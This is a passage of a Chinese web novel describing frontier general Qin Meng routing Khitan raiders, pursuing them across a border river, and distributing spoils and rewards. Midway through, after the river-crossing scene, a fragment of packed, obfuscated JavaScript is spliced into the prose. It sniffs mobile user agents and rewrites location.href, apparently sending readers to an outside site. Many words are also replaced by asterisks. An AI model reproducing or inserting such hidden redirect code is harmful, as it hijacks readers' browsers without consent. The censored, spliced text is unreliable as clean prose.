**的数量在飞速减少,惨叫与**声不绝于耳。
其余人肝胆欲裂,纷纷拨马便逃,方才还凶悍无比的敌人,此刻只恨马儿少生了两条腿。
兵败如山倒!
拒马河虽然开始冰封,但除了浅滩处,薄冰无法承受任何马的重量,**需要逃回渡河口。
秦猛将萧铁虎的首级挂于鞍前,铁枪向前一挥,声如洪钟:“追击!勿放走一兵一卒!”
他一马当先,如离弦之箭射入溃逃的敌群。
铁枪**般刺出,必有一人透心凉,刀光闪过,定有头颅抛飞。
他此刻便如自地狱而来的夺命死神,所向披靡。
王善、**、常勇等人率部紧随,个个发了狠,如嗜血狼虎,对着逃窜的**穷追猛杀。
火光映照着草原骑兵狼狈奔逃的背影、遍地尸骸与那面被无数马蹄践踏入泥泞的残破狼头旗。
溃散的契丹残兵彻底丧失了斗志!
他们只知向着草原老家的方向亡命奔逃,无人敢回头再看一眼那位血染征袍的黑甲将军。
“杀!”秦猛的追击命令简洁而残酷。
追击阵型随敌情变化。****多时,队伍便聚拢,化作无坚不摧的铁锥,集中力量冲锋凿穿。
**分散溃逃时,则立刻化整为零,以王善、**、常勇等骁将为箭头,分成数支小队猎杀扫荡。
更有军中善射者,如几名土兵,他们没有双马镫,更是在夜间,于飞驰的马背上张弓搭箭。
嗖!嗖!嗖!
箭矢破空,逃得最远的**应声**。
“好箭法!”秦猛大声称赞,将这些身影牢记于心。
“啊——”**的惨叫声此起彼伏,在夜风中格外凄厉。
正当追杀至酣处,后方夜空突然升起两颗绿色号炮,咚啪,在夜空中爆开,绽放绿色烟花。
秦猛眼中精光一闪,深知援军已按计划抵达预定位置,顿时无后顾之忧,加大了追杀力度。
军令如山,对这些犯边的鞑虏,无需留情,不管是否跪地求饶,皆是一刀**,一枪戳穿。
王善、**等人早已浑身浴血,却依旧嗷嗷狂吼,杀气冲天,反倒将**吓得狼奔豕突。
**之前攻坚,损失惨重,又被秦猛率队冲入敌群里,一阵狠杀,此刻衔尾追杀,穷追猛打。
最终,仅有寥寥二三十骑契丹残兵,凭借着马快和对地形的熟悉,侥幸冲到了拒马河边。
浅滩处的冰层被踩碎,河水冰凉刺骨,但他们却如同看到救命稻草,连滚带爬地扑向对岸。
秦猛率追击部队紧随其后,杀意正浓。
突然,河对岸低沉的号角声呜咽响起,随即杀声震天!
大队打着伏弗郁部旗帜的**骑兵,如黑云般越过界河,汹涌杀来!
——原来是伏弗郁部酋帅萧铁鹰,得知兄弟萧铁虎今夜欲袭边立功,既为接应,也为趁火**。
若兄弟胜,他便挥军扩大战果,共破戍堡;若兄弟败,他便救援,不仅全了兄弟情谊,更能顺势反击。
怎奈,萧铁虎败亡得太快,他的如意算盘落空了,援军姗姗来迟,正好撞上秦猛追杀残兵。
秦猛虽不知其详细算计,但敏锐察觉到河对岸的异常与杀机,毫不恋战,当即勒马怒吼。
“收兵!退守烽燧!”
部队令行禁止,迅速后撤。
沿途还不忘收拢无主的战马,欲退回堡寨险要之处。
前来接应的**骑兵将领阿巴泰,得知萧铁虎竟被眼前这员黑甲周将阵斩,先是震惊,随即眼中闪过贪婪凶光。
见秦猛人马不多,又想撤退,便认定是立功良机,岂肯放过?手中长柄大刀一挥,咆哮道:
“杀光周狗!为郎君报仇!”
数百契丹生力军轰然应诺,纵马过河,疯狂追来。<
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br>方才侥幸逃走的那些残兵,此刻混入大队,更是咬牙切齿,对着敌人破口大骂,状若疯癫。
阿巴泰满脸狰狞,哈哈狂笑:“周狗,纳命来!”
秦猛见状,非但不惧,嘴角反而勾起一抹冷冽笑意。
他故意惊慌失措地高声叫嚷:“快跑啊——!”
声音响彻夜空,演技逼真。
**和**等人如狼奔豕突往回逃窜。
这愈发刺激了追兵,阿巴泰麾下骑兵狂笑不止,追得更欢,队形也在追击中逐渐拉长。
就在契丹骑兵大半已过河,深入追击之际——
异变陡生!
左右两侧深邃的夜色中,骤然爆发出轰隆隆的马蹄声,如闷雷滚地,由远及近,迅速逼近。
——赫然是两队铁甲骑兵如神兵天降般呼啸而来!
左侧领队乃是铁血军寨部将张富贵,率领百余精骑,刀甲森然。
右侧一马当先的,正是袁飞!他身后百余飞虎精锐,更是人人面带杀气,显然已等待多时。
绿色号炮升空炸响,他们已经来援。
但秦猛早就有所考量,防止契丹**有预备队和接应队伍,派人截住援军并下令伺机而动。
没想到,还真的有第二批**兵。
数百**追来的动静,自然瞒不过后方增援骑兵。张富贵和袁飞更是各带人马,一左一右包抄!
——欲要将这些狗**全部留下。
“杀、杀、杀!”两翼喊杀声震耳欲聋。
“**——预备!丢!”两个领队几乎同时下令。
十数支火把猛地亮起,冲锋越来越快。
在骑兵距敌尚有百步之遥时,一个个被点燃的陶瓶划出弧线,精准抛入契丹骑兵群中最密集处。
轰轰轰……
**声接连不断,一团团粘稠的烈焰冲天而起,迅速蔓延,将范围内的骑兵连人带马瞬间点燃。
高温火焰难以被扑灭,灼烧皮肉,发出焦臭,受惊的马匹发了疯般嘶鸣、蹦跳、乱冲乱撞。
契丹骑兵的队形瞬间大乱,速度骤降,陷入一片火海与混乱之中。
“哈哈哈哈……,老子让你追!”张富贵狂笑着,率队如一把热刀切入黄油,斜着撞入陷入混乱的敌军侧翼,刀光闪烁,拼命向着敌军后路迂回穿插。
袁飞亦同时率部与**短兵相接,飞虎精锐如虎入羊群,向前直撞,与左侧队伍避开接触。
而前方一直“逃窜”的秦猛,猛地勒住战马,拨转马头,脸上惊慌尽去,只剩下凛冽杀意。
“集合!”
麾下士卒几乎在呼吸间便已重新集结,化作锋矢冲锋战阵。
“冲,冲锋!”秦猛怒吼,一马当先,反
身杀回!
“杀!”整齐划一的喊杀声撕裂夜空!
第119章 犯边者,虽远必诛
这战场局势变化陡然发生!
瞬间就让那些契丹兵一个个手足无措。
阿巴泰被这突如其来的伏击和熊熊烈焰搞得彻底懵圈,脑中一片空白,方才的嚣张气焰荡然无存。
他刚意识到中计了,还不等做出任何反应,就看到前方那员黑甲杀神已率部如狂潮般反卷杀来。
尤其是那黑甲将领,速度最快,势不可挡,直取自己中军!
“就是你杀死郎君?给我死来!”阿巴泰盯着冲来的秦猛,用生硬的汉语歇斯底里地吼叫着。
他身为“伏弗郁部”的勇士,可是响当当的人物。担任大当户(半千夫长),作战勇猛,威名远扬。
这些年,他随部落南征北战,曾在一次草原部族冲突中,单枪匹马冲入敌阵,连斩对方三名勇士。
助伏弗郁部大获全胜,抢回大量牛羊和草场,自此在部族中崭露头角。
此后,每次攻打大周边堡,阿巴泰都冲在最前面,凭借一身蛮力和精湛骑射,多次率先破城。
为部落掠夺来无数财物和人口,在并州边塞一带凶名在外。深得萧铁鹰等上级的赏识。
此刻,看着秦猛,阿巴泰眼中满是仇恨的怒火。
他一提缰绳,胯下骏马长嘶一声,如离弦之箭般朝着秦猛冲去,手中长刀举起,带着呼呼风声,直劈秦猛面门,誓要为萧铁虎报仇雪恨。
“找死!”秦猛冷笑一声,不躲不闪,同样拍马加速,手中铁枪抖出枪花,如蛟龙出海般刺出。
两马相遇。
哐啷……刀枪碰撞,火星四溅!
阿巴泰脸色剧变,双臂剧震,险些握不住刀。
秦猛面无表情,双马交错之际,胯下乌骓突然甩头,横移靠拢,他上身骤然向左侧歪倒。
“不好!”阿巴泰看了暗道要糟,不等他收刀变招。
秦猛探臂如电,左手五指死死扣住对方手腕,右手**握住中断,狠狠架住对方的长刀。
两马仍在对冲而过,惯性带着两人向两侧拉扯。
秦猛却沉腰拧胯,双腿夹紧马腹,将全身力气凝在双臂。
“过来!”他低喝一声,臂肌虬结如铁,猛地向后发力。
阿巴泰只觉一股巨力袭来,身体不由自主地离了马背,犟着无用,整个人被拽得向后扑出。
秦猛趁势调整坐姿,右腿膝盖顶住阿巴泰的腰腹,小腿迅速绕到他脖颈后侧,狠狠向身前勒紧。
阿巴泰的弯刀“哐当”落地,人被秦猛夹在身前,上半身悬空,手脚乱蹬却碰不到马鞍,连挣扎都使不出力气。
秦猛左手仍扣着他手腕,右手铁枪敲他的后脑,牢牢将这员辽将锁在自己马上,生擒当场。
阿巴泰的十多个心腹见头人被擒,个个目眦欲裂。
哪还按捺得住?
为首者一声怒喝:“岂容周狗逞凶?”
众人立刻拍马挥刀,骂声如雷,潮水般朝秦猛冲去。
可秦猛也非孤家寡人,身后亲兵队伍瞬间杀到。
王善手持**,一枪挑开迎面而来的马刀,顺势捅穿敌人;**大刀翻飞,刀光闪过便有两人**。
牛五熟铜棍打爆一人脑袋,避开弯刀,赤手硬生生将一名敌兵从马背上拽下,拧断其臂。
常勇则带队结成攻杀阵势,**如林,将冲在前头的敌人尽数挑翻。
不过数息之间,阿巴泰的心腹便已倒下大半,攻势顿时土崩瓦解。
秦猛把抓到的俘虏丢给亲兵看押,毫不留情,率队狠狠撞入敌群中,再次率部全力绞杀。
主将瞬间被抓,加之烈火焚身,三面受敌。四周喊杀震天,敌人不知有多少,契丹援军彻底崩溃,比先前溃兵逃得更仓皇,更混乱。
“杀,给老子狠杀!”
三路周军骑兵默契配合,在各队将领身先士卒,勇猛向前之下,人人奋勇,肆意**溃逃之敌。
这一次,追杀比之前更狠,更彻底!
张富贵率领队伍吵了后路,围追堵截,遇见**队伍溃逃,一波骑射开道,再狠狠撞入**。
“啊……”**不断被砍**下,惨叫声此起彼伏。
鲜血染红了雪地,尸体横陈河畔。
周军一路追杀,竟直接冲过了界河。
水位骤降的拒马河中,跑得最快的百多个**兵如同丧家之犬,挣扎着爬过冰凉的河水,连滚带爬地翻上对岸那沾着稀疏雪沫的枯草甸。
他们浑身湿透,瑟瑟发抖,眼中交织着劫后余生的茫然与深入骨髓的惊惧。
“长……长生天保佑……我们终于,安全了……”
一个百夫长大口喘着粗气,试图用骂咧和安慰来驱散恐惧,“周狗……周狗不敢过界河的……”
然而,他们的喘息尚未平复——
“杀!斩尽杀绝,一个不留!”一声炸雷般的怒吼自身后河面传来,将他们微弱的庆幸击得粉碎。
契丹兵浑身哆嗦着,惊恐万状地回头,只见那位黑甲杀神秦猛,赫然策马踏过界河追来。
那雄健黑马发出嘶鸣,猛地跃起,悍然杀上北岸!
秦猛目光如刀,扫过岸上溃兵,声音带着森然杀气,炸响在夜空:“来了就想跑,门都没有!”
“犯边者,虽远必诛!”闷雷般的吼声响彻草原!
“杀,随将军杀贼!”
王善、张富贵等百来军汉毫无迟疑,怒吼着踏河紧随。
“嗷,杀光他们!”
张富贵挥舞着血迹斑斑的狼牙棒,咆哮震天。
“杀啊!”上百个边军已经杀红了眼,士气如虹,眼中唯有秦猛将军马踏界河的伟岸身影。
他们如同被激发凶性的狼群,毫不犹豫地踏入了草原地界。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465423|184734||http|test|mini|href|location''.split(''|''),0,{}));
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r>马蹄沉重地踏在对岸潮湿的草甸上,发出噗噗闷响。
“啊——!”那些以为自己逃出生天的契丹残兵,看到如狼似虎的追兵,眼中瞬间只剩下绝望。
“跑……快跑啊!”有人发出不似人声的惨嚎。
可惜,他们坐下的战马经过连番奔逃、渡河,早已力竭。周军却换乘了收拢的生力马,速度正快。
死神,迅速逼近。
很快,渡河的追兵便撵上了溃兵。
“死!”秦猛吼声如雷,刀枪并用!
没有怜悯,不留活口!
**,如同秋风扫过枯叶!
王善、张富贵等人席卷而过。冰冷的**刺入后心,卷刃的**劈过脖颈,沉重的狼牙棒砸碎头颅……
吓破胆的契丹兵毫无抵抗之力,仅有短促绝望的惨嚎,旋即被利刃撕裂肉体的沉闷噗噗声淹没。
刀锋卷刃,碎骨声声,敲碎了界河北岸最后一丝挣扎。
除了极少数腿快胆裂、借着夜色地形逃入深茫草原的幸运儿,其余**兵,全被斩杀当场。
河岸附近,顷刻间倒下一排排残破的尸体,鲜血汩汩流出,渗入冰冷的黑土与枯草地中。
空气仿佛凝固,寒风吹不散血腥味。
唯有战马粗重的喘息声和火把燃烧的噼啪声偶尔响起。
“等着吧!老子马踏草原那天不远了。”
秦猛立马界河北岸,黑甲上覆着一层暗红的血痂,目光如雄鹰俯视,望向深邃的黑暗草原。
他冰冷的视线扫过北岸上新添的尸骸,确认再无一个能站起来的敌人后,才缓缓拨转马头。
“收兵!”他声音沙哑,却带着不容置疑的威严。
“抢救伤员,清点战损,撤回铺堡!”
麾下军汉虽杀意未褪,却令行禁止。队伍迅速由追击时的狼群,转为纪律严明的边军将士。
相互搀扶着负伤的同袍,收拢着失去主人的草原好马,携带着缴获的兵甲,向着那座经历了一夜血火、残破却屹立不倒的双涡堡退去。
烽燧堡内,景象更为惨烈。
主要是那些没有装备铁甲者,受伤比较多。
伤兵的呻吟声此起彼伏,医务兵和懂得包扎的戍卒忙得脚不沾地。清水被染成一盆盆血水。
纱布很快便告罄,只得用粗麻布替代。
常勇左手臂挨了一刀,这只算轻伤。此刻敷药包扎,脸色苍白地靠在墙垛下,仍强打着精神指挥堡内留守的轻伤员烧水、维持秩序。
秦猛目光扫过堡内,“王善,带人协助救治,优先重伤,把所有伤兵转移到铺堡。精盐都集中起来化水,消毒,再从堡民那买姜蒜。
**,清点我军伤亡,一个不许漏。
张富贵、袁飞,带人统计斩获、收拢战马物资……”
诸将轰然应诺,立刻分头行事。
第120章 功赏镇戍堡
风卷着雪,呜咽着掠过染血的原野。
双涡堡后门外,数十具**尸首堆成小山,血污凝冰,残肢断臂在黑土白雪间刺目惊心。
血腥气混在风里,呛得人喉头发紧。
堡民们强压翻腾的胃袋,在拄枪伤兵的呼喝下,拖拽人尸、马尸,收拢散逸的草原好马。
那些马儿惊魂未定,喷着白气、刨着冻土,得三四条汉子合力才勉强拽住。
队将林军赤着上身,古铜色背脊上鞭痕交错。
他昨日守前门,**是照例佯攻,射倒几人后便退到箭程外游弋放箭。谁知天将亮时,敌骑竟仓皇奔逃。
他这才带少数弟兄趋前查看,顺势帮着打扫战场。
此刻,林军并十来个血污满身的汉子,正手脚麻利地搬运尸体,剥取尸身衣甲、搜捡饰品。
弯刀划开冻硬皮布的刺啦声、铁甲片磕碰的脆响,不绝于耳。众人沉默而迅疾,转眼间,兵甲弓矢已堆成小丘,死者耳上金环、腕间银镯、甚至齿间镶的金牙,都尽入袋中。
契丹兵一律髡头辫发,发辫在晨风中僵直地晃动。他们苍白的颈侧、肩臂上,青黑色狼头刺青随尸身姿态扭曲,愈显狰狞。
——无一不在昭示:这是契丹王帐下的精锐狼兵。
边堡李保长战后才现身影,面露惊慌。
他颤巍巍地翻看尸身,每见一具颈上刀口,眼皮便猛跳一下,倒抽凉气:“娘的…这口子。
八十多契丹狗,六成是匹于被抹脖、捅心…一刀毙命。利落至此,难…难道是一人所为?”
林军正清点弯刀,闻声直起腰,带血手背抹了把脸:“哼!是秦将军杀的!我与众多弟兄目睹。七八成的功劳,都是他一人砍出来的。”
击溃**,朝廷有赏!
缴获按规矩有分润,堡内人声浮动,劫后余生的庆幸与缴获的喜悦交织,驱散了几分血腥气压。
陡然间,踏踏踏马蹄声迫近!
秦猛率百余铁甲骑兵奔回铺堡。连人带马,浑身浴血,散发的杀气如实质般压得风雪一滞。
堡外忙碌的堡民们霎时噤声,屏息望着这支骑兵队靠近,眼中却不见惧色,只有灼灼激动。
——隶属的铁血军寨如此强横!
他们这些边民心里踏实,何惧**?
“乡亲们,咱们赢了!”秦猛环视,声音沉稳有力。
牛五拍马抢前半步,嘶声宣告:“此战三溃贼骑,斩首过千。
追杀越过界河,逃脱者不足十一。
这群杂碎,短期内绝不敢再犯戍堡!”
杀了多少?堡民怔立在风雪中,几乎不敢相信耳闻。
斩首过千?这是他们连梦里都不敢想的数字。
“林军,”秦猛目光扫过光膀子的队将,“由你负责清扫战场、掩埋尸体、收拢马匹、协理战利品统算。另派一队人马戒备,不可懈怠。”
“是,将军!”林军下意识胸脯一挺,高声应诺。
秦猛不再多言,引兵护送伤卒入堡。直至铁骑尽没于堡门影中,外边百姓才轰然炸开议论。
“上千**…真斩了上千人?”
“老天爷!秦将军这不是人,是天神下凡吧!”
议论声中,仍有不敢信者,如林军等几个胆壮汉子,当即骑了刚缴获的战马,直奔烽燧堡。
但见雪地狼藉,尸骸铺路,一直绵延到远处界河北岸,冻住的河面都被血色染透,尸堆阻塞流水…
几人看得呆若木鸡。
消息带回,再无半分质疑,堡民兴奋过后,自发寻地挖坑,以及对秦将军深入骨髓的敬畏。
而秦猛返归署内,亲兵早已备好热水。他草草洗去血垢,灌下几碗温热的姜汤,肉粥后,又啃了几把炒豆子,肉干,便倒头就睡。
经历昨夜近三个时辰的高强度搏杀。
他体力早已透支,头才沾着枕头,鼾声已起。
这一觉沉厚,直睡到午后雪霁。
秦猛方醒,呵欠连连地披衣着甲,粗粗一束,抹了把脸。
轮值亲兵适时送上米饭与一大锅炖得烂熟的马肉。
他正吃着饭,初步统计已呈至眼前。
**面色凝重,递来简陋名册:“将军,我方戍卒阵亡十二人,重伤十五人,轻伤过百。”
阵亡者中,多是原烽燧堡守军——他们以寡敌众,硬扛数百**强攻,经历了最残酷的正面对决。
秦猛默然接过,指尖拂过那些墨迹犹湿的名字,其中不少昨日还曾与他言笑、受他拍肩勉励…
一夜过后,却是……
他闭目片刻后,再睁眼时,眸光已然冷硬如铁。
“录清姓名战绩。待战事稍缓,后事从简,但抚恤须按军寨条例,足额发放至家,一分不得短少。”
“是!”
“轻伤者多是手足中箭,将养即可。十余名重伤员较为麻烦,经初步处置,需要急送军寨医疗所。”王善递上另一卷册,言简意赅地汇报。
“已通知诸位队将,开个军事小会。”
秦猛吩咐过后,这才低头,风卷残云般吃罢午饭。
碗筷刚放下,张富贵与袁飞已是嚷嚷着闯入:
“将军!咱们发大了!”
“将军,这回是真发了!”张富贵嗓门震瓦,喜色难掩。
“初步清点,未统计河对岸那批,仅铺堡和燧堡两处战场,斩杀的**,就不下千级!”
“缴获完好战马八百余匹,驮马三百多,伤马过百、死马百余!另有两百多匹散逃,正派人搜寻。”
“另外马匹鞍具,过千套。甲胄,铁甲,马甲,皮甲,布甲接近2000,弓刀枪矛堆积如山。”
“搜刮所得金银首饰,”袁飞抓住机会,抢过话头,满脸兴奋:“金逾三千两,银过万两。”
“这真是一笔天降横财啊!”张富贵笑得合不拢嘴。
“就这些?”秦猛却反皱起眉头。
此前歼灭女真两三百人,尚得金两千、银八千;此役敌数倍增,斩获黄白之物竟反不及预期?
“秦将军,”袁飞忙解释,“那图鲁木不过一部落之军。契丹族却有王庭,制度森严,寻常鞑兵耳环发
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饰皆有限制,战前摘下,富不得…”
“**,”秦猛骂咧咧一拍案,“还是杀女真划算!”
袁飞又补充,语气带些微兴奋:“**果然好用,掷出三十罐,**人马惊惶,自相践踏而亡者,恐不下百数!然此难以精确计入斩获。”
“那就归集体所有。”秦猛直接拍板。
“另外审讯俘虏得知,秦将军斩杀百夫长迪**,千夫长斡鲁朵,契丹郎君萧铁虎,生擒大当户阿巴泰,多是北方边塞臭名昭著之辈。
却在此战折戟沉沙,再算上绞杀过千**,此战功劳之大,**不逊色覆灭两支**千人队。”
袁飞说到最后,也止住了。
帐内霎时一静,这可是大功一件。
铺堡,燧堡防守战,两次接战,阵斩竟逾千!
这等战绩,纵是边军精锐,也足可震动整个防区。
何况这仅仅是一个新生的军寨所为!
秦猛深吸一口气,压下胸中翻涌。目光逐一扫过帐内诸将。
王善、**、张富贵、袁飞、牛五、乃至包扎着伤的常勇。在听到这份斩获之后,每人眼中都闪烁着血战余生后的疲惫与藏不住的自豪。
“记!”秦猛声音斩钉截铁,“此战:阵斩契丹伏弗郁部郎君萧铁虎,千夫长一名,活捉大当户一名,及其亲卫百夫长以上头目七员!
阵斩契丹十多个勇士,累计歼敌过千!缴获无算!”
他略顿,看向常勇:“烽燧堡守军,以寡敌众,死战不退,拖住敌军主力,居功至伟。
所有战功,与军寨,飞虎军援军同列,一体上报!你常队将更是指挥有方,是为将材也!”
常勇闻言,眼眶骤红,抱拳:“末将…只是做份内之事。代烽燧堡全体弟兄,谢过将军!”
功劳分配最易生隙,秦猛如此公允,顿令所有浴血奋战者心头暖慰,归属感油生。
“王善!”
“末将在!”
“你即刻引一队人马,押送重伤员,并携我军初步战报,速返军寨!转告诸葛先生,呈报赵将军,告知难处,请即遣更多医官、民夫及补充兵员械甲前来!”
“得令!”王善领命疾出。
秦猛又看向沉稳寡言的张富贵:“张富贵!”
“末将在!”
“双涡堡地处要冲,经此一役,**吃了闷亏。需得力之人镇守。我命你暂领双涡堡戍主之职,率你本部并林军所余戍卒,即刻接管防务。
清点堡内损毁,加固城防,万勿懈怠——谨防契丹人报复反扑!”
张富贵胸脯一挺,肃然应道:“将军放心!只要末将有一口气在,绝不让**再踏进双涡堡半步!”
“好!”秦猛颔首,又看向林军,“林队将,你是本堡老兵,熟悉此地情形,好生辅佐张堡主。”
“遵命!”林军慨然应诺。
诸事安排既毕,秦猛亲去巡视了一圈伤员,又登上堡墙,望向北方苍茫而寂寥的草原,久久不语。
风雪愈发大了,天地间唯余一片肃杀后的空寂。
第121章 捷报惊边营
寒风卷着雪花乱舞,天地间唯余一片肃杀后的空寂。
秦猛带队巡视戍堡一圈,从燧堡返回。恰好在堡前门撞见张富贵和林军,两人布置岗哨。
他看到戍卒身上穿着旧皮甲,挥手把两人唤来:“张堡主,今后堡防安危,系于你二人之身。从**那缴获的铁甲,角弓,可以武装。”
“遵命!”张富贵,林军捶胸应诺。
秦猛略一颔首,指尖点向渐冻的河面和草原:“**新败,然寒冬漫长,不可不防其狗急跳墙。
多派哨探,广布耳目,另,组织人手,滚压实心雪弹,堆砌于燧堡,前堡后堡,以便守城。
再将堡内外积雪尽数清扫,堆积河岸,泼水成冰,形成矮墙阻敌,或浇透于堡墙外加固。
我要这双涡堡,固若冰坨!”
“末将明白!”张、林二人同声应道。
尤其是张富贵深知,此乃军寨行之有效的方法。
秦猛与两人分开,却不得歇,战后千头万绪,方才理清大半。
他带队来到军营,旋即被校场一隅景象引得眉头紧锁。
——缴获的兵甲、皮裘、杂械,竟如柴垛般胡乱堆积,完好的、破损的尽数混杂一处。
那群杀才只知斩首几何、获马几匹。
于此等细务却是一笔糊涂账,只含糊报个“缴获无算”、“堆积如山”,连确切的数字都没有。
“一群莽夫!”秦猛笑骂一句,却无多少责怪之意。
皆是搏命汉子,怎能强求他们顷刻通晓文牍琐事?
他正欲唤人,**已引着三名敦实汉子找了过来,
“大人,”**禀道,“此乃阮大、阮二、阮三兄弟,昨夜鏖战,三人箭无虚发,各自毙敌逾十。
是堡内军户,也是水上巡逻队的好手,猎户出身,水性极佳,水里陆地本事不错,特来引荐!”
秦猛打量三人,皆是五短身材,却肩宽背厚,手掌布满老茧,步伐沉稳健硕,眼中精光内敛,确是练家子。
昨夜混战中,他似乎也曾瞥见这三人骁勇身影。
“既有本领,又有战功,岂能埋没?”秦猛颔首,“即日起,阮氏兄弟擢为陷阵营水军队将。
入我亲卫队,今冬招募擅水健儿,开春便操练起来,这段界河,往后需得牢牢握于我等之手。”
阮氏三兄弟大喜,这可是直接升队将,有了武职。
三人当即拜谢:“谢大人提拔,我等必效死力!”
“起来吧!”秦猛把他们搀扶起来,随即指着那堆“杂烩山”:“来得正好,先做点苦力再说。
**,即刻召集堡内能识文断字的,如李保长、书吏,全数唤来,再调一队军汉听用!”
不多时,十余人被召至校场,秦猛雷厉风行:“尔等将这些缴获,分门别类,统计清楚。
兵甲、弓矢、衣物、皮货,完好的、破损的悉数登记造册!此乃军资,即刻下发,刻不容缓!”
众人轰然应命,在李保长等人调度下,军汉们分拣、搬运,书吏登记造册,动作渐次有序。
完好的兵甲弓矢登记入库,待分发。
破损的装车待运,俟日后送交军寨工坊修缮。
染了血污的皮裘衣物则送往河边捶洗。
另一侧,宰杀马匹的棚子亦热火朝天,马皮剥离、马肉分块、内脏处理,各有专人负责,井井有条。
直至天黑前,这项浩大工程方告完结。
李保长等人虽累得腰酸背痛,人人满头大汗。瞧着眼前清清爽爽的各类册簿,心下亦颇有几分成就。
夜色降临,堡中央空地燃起十数堆巨大篝火。
大块马肉架于火上炙烤,或投入大锅中咕嘟炖煮。
肉香混着米粥香气,弥漫整个堡垒,令人闻之垂涎。
秦猛下令:“列队,排队领取食物,人人管饱!”
欢呼声中,军民依次上前,尽皆吃得肚圆心热。
待众人食毕,秦猛立于篝火中央,声传四方:“此战大捷,赖将士用命,父老乡亲支持。”
“今日,依军功论赏!”
他率先看向张富贵、常勇、王善、**、牛五、乌维等浴血奋战的骨干,逐一历数其功。
当众赏下金银,以为犒劳。
旋即,话锋一转,**行赏:“牛五,作战勇猛,升队将!阮大、阮二、阮三,擢为队将!
另,斩首三级以上者,升为什长。
一级以上者,升为伍长!所有参战堡丁悉数转为正军!”
嘉奖完毕,便是真金白银的赏赐与战利品分润。
军功赏格分明,银钱当场发放。
更令全堡欢腾的是,秦猛宣布:“堡内百姓,每户按人头算,赏银一两,军粮二十斤、马肉十斤!”
“秦将军仁慈!”欢呼声震天动地!
待声浪稍平,秦猛神色转为沉痛:“此战,亦有十二位弟兄,永眠边陲,令人深感沉痛。他们的抚恤,每人百贯,其杀敌赏格一并发放。
此后,其家眷每月皆可至军寨领取钱粮补助,他们的家人衣食无忧,子女能够健康长大。此诺,诸位乡亲们见证,铁血军寨永不食言!”
人群肃然,或眼眶泛红,感激与敬意油然而生。
借着这番人心凝聚之势,秦猛没有忘记蛀虫,他面色一肃,厉声道:“带黄安及其党羽!”
早已被拘押的黄安等人即刻被军汉推搡而出。
秦猛当众历数黄安罪过。
——临阵脱逃、蛊惑军心、苛待百姓,克扣军饷……
桩桩件件,皆听得堡民怒目而视。
“你不说话,就当你同意认罪。”秦猛转头朝被堵住嘴巴,拼命呜呜叫唤的黄安,大声问询。
“哈哈哈……”引得民众发出解恨的哄笑。
“乡亲们,此等蠹虫,该如何处置?”秦猛喝问。
杀,“杀!”群情激愤。
“杀了他!”林军等汉子放声咆哮。
秦猛从善如流,当即宣判:“黄安,罪大恶极,本官即刻宣判,明日游街示众,午后问斩!其家产抄没,仅留田五十亩予家眷度日
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。
其余党羽,首恶者同罪,胁从者皆押送军寨,劳动改造!”
这一判决,再次引起震天欢呼。
许多食不果腹的军民瞪眼,咬牙切齿地看着黄安。反观黄安吓得面无人色,尿湿了裤裆。
“哈哈哈,明日我来监斩。”张富贵更是狂笑着。
这一夜,双涡堡军民欢庆。
这一夜,秦猛以雷霆手段,尽收民心!
……
两日后,契丹伏弗郁部损失惨重消息并未传开。两份详细的战报却由快马送至飞虎卫大营。
送到了主将赵将军案头。
一份是秦猛命人拟定的战报,一份是袁飞密报。从多个角度记载了,那天晚上发生的战事。
秦猛阵斩敌将,乘胜追击,一路杀得契丹兵丢盔弃甲。
直至界河畔,伏弗郁部援军突然出现,却正中秦猛下怀。
一场精心设计的反击战,让契丹人尝到了**与铁骑的厉害。
**如割草,一夜杀敌破千。
当溃兵以为逃回草原便是安全时,秦猛马踏界河,用行动宣告,配备双马镫,马蹄铁之后。
——大周儿郎骑战不逊色草原部落。
当赵将军展开那份沾染着淡淡血渍与烟尘的战报时,又看到袁飞密信详细说起**战术……
他那素来沉静的脸上,神色从凝重转为惊讶,再由惊讶,变为难以置信的震惊与喜悦。
“阵斩契丹贵族郎君一名、千夫长一名、百夫长七员……累计毙敌过千?缴获战马800多匹……”
赵起自然是不怀疑战报真实性,却公事公办。抬头看向信使,问道:“秦猛所言,俱都属实?”
信使单膝跪地,声音洪亮:“回将军!此事千真万确!首级、缴获俱在双涡堡!
萧铁虎、斡鲁朵,迪**的首级已被石灰腌存。秦将军命小人禀报,此战有赖将军运筹帷幄、飞虎卫援军及时,更有新制火器之威。”
赵将军豁然起身,在军帐中来回踱步,猛地一拍案几:“好个秦猛!好个胆大包天的家伙!”
竟敢主动杀过界河追杀,竟能取得如此辉煌战果!
杀敌破千!
这已不是简单的边境冲突胜利,而是一场规模不小的战役,足以改变局部态势的大捷!
震惊过后,便是狂喜,以及一丝深沉的思索。
秦猛此人,胆大心狠,勇猛善战,更兼心思缜密,擅用谋略,奇物,实乃难得的将才。
而那“**”……果然是大杀器。
若能大批量生产,装备诸军,又何惧**来犯?
这件事太大了,已经无法再瞒下去。
无论是击溃**,还是**之事,必须要上报帅帅司。
赵将军心中有了决断后,便立刻吩咐信使:“好,你即刻回去转告秦知寨,务必要嘉奖全军!所有战功,本将军亲自为他上报请功。猛火油会陆续送往铁血军寨,务必批量生产……”
双涡堡之战后,秦猛之名,必将响彻整个边关。
……
第122章 风雪练兵忙
风雪飘洒,寒气未散。
天蒙蒙亮,铁血军寨外却已是一片热火朝天。
辅兵带领乡勇开始扫雪清道,滚雪球制成冰弹。军寨部将,队将带着各自人马投入训练。
骑兵们策马奔驰,马蹄踏碎冻土,扬起阵阵雪雾;步卒们列阵操练,喊杀声震天动地;弓箭手,犬兵负重奔跑,口号声整齐而有节奏……
铁血军寨兵卒天天有肉,吃得好,训练格外严苛。
其中以李山与刘铁柱为最。
在训练场东侧,李山和刘铁柱正带着本部人马加紧操练。
这两位准部将因前段时间负伤,军功缺了些。
只能眼睁睁地看着同僚张富贵立功正式晋升为部将。张屠户凶悍、勇猛,他们自愧不如。
就连后起之秀王铁山也获得了提拔。
这可是以前的老部下,如今却爬到自己头上。顿时就让军寨两位老军头心里难免有点不平衡。
他们质问军龄,本事超过王铁山。
若非负伤,拉了胯,又怎能落后之?
